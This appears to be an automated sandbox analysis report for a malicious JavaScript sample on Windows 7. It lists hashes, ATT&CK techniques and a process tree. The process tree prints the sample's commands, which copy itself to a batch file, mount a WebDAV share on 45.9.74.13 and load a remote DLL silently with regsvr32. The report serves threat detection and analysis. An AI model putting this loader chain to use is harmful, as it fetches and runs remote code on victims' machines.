a2a85a0edf60e08eca8a2570e10d68d37bd4758f71d989fa04280199654f296e

Analysis

max time kernel
14s
max time network
18s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
09-07-2024 06:48

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General

Target

29716218783213131537.js
Size

5KB
MD5

a6391c7e5d7669cddfdfbf9fc14efac2
SHA1

33785c77d5d9a6b4ed3bfc72d07af5c1aabc9d7c
SHA256

a2a85a0edf60e08eca8a2570e10d68d37bd4758f71d989fa04280199654f296e
SHA512

b2c0147af98f52dd3a6eef36e0288920da65467a0e83794738c2cce203c6477e4cb1cff7eed3904511887f418cc0ef9be1f99a2cfaac072c5ab725842e3b9ff0
SSDEEP

96:HJYpcCeTOIT4+t9RtZtFnOJDzLC4JLFmmQ9nhWksFmF/VOFeMuF/qFLFv6kjFvR:yuCeTOIU+tTtZtFKDzomQfP9VhMO06kb

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
1264	regsvr32.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2208 wrote to memory of 2920	2208	wscript.exe	30
PID 2208 wrote to memory of 2920	2208	wscript.exe	30
PID 2208 wrote to memory of 2920	2208	wscript.exe	30
PID 2920 wrote to memory of 3068	2920	cmd.exe	32
PID 2920 wrote to memory of 3068	2920	cmd.exe	32
PID 2920 wrote to memory of 3068	2920	cmd.exe	32
PID 2920 wrote to memory of 1264	2920	cmd.exe	33
PID 2920 wrote to memory of 1264	2920	cmd.exe	33
PID 2920 wrote to memory of 1264	2920	cmd.exe	33
PID 2920 wrote to memory of 1264	2920	cmd.exe	33
PID 2920 wrote to memory of 1264	2920	cmd.exe	33

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\29716218783213131537.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2208
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\29716218783213131537.js" "C:\Users\Admin\\wgduar.bat" && "C:\Users\Admin\\wgduar.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2920
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:3068
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\387.dll
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1264

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\wgduar.bat

Filesize
5KB

MD5
a6391c7e5d7669cddfdfbf9fc14efac2

SHA1
33785c77d5d9a6b4ed3bfc72d07af5c1aabc9d7c

SHA256
a2a85a0edf60e08eca8a2570e10d68d37bd4758f71d989fa04280199654f296e

SHA512
b2c0147af98f52dd3a6eef36e0288920da65467a0e83794738c2cce203c6477e4cb1cff7eed3904511887f418cc0ef9be1f99a2cfaac072c5ab725842e3b9ff0

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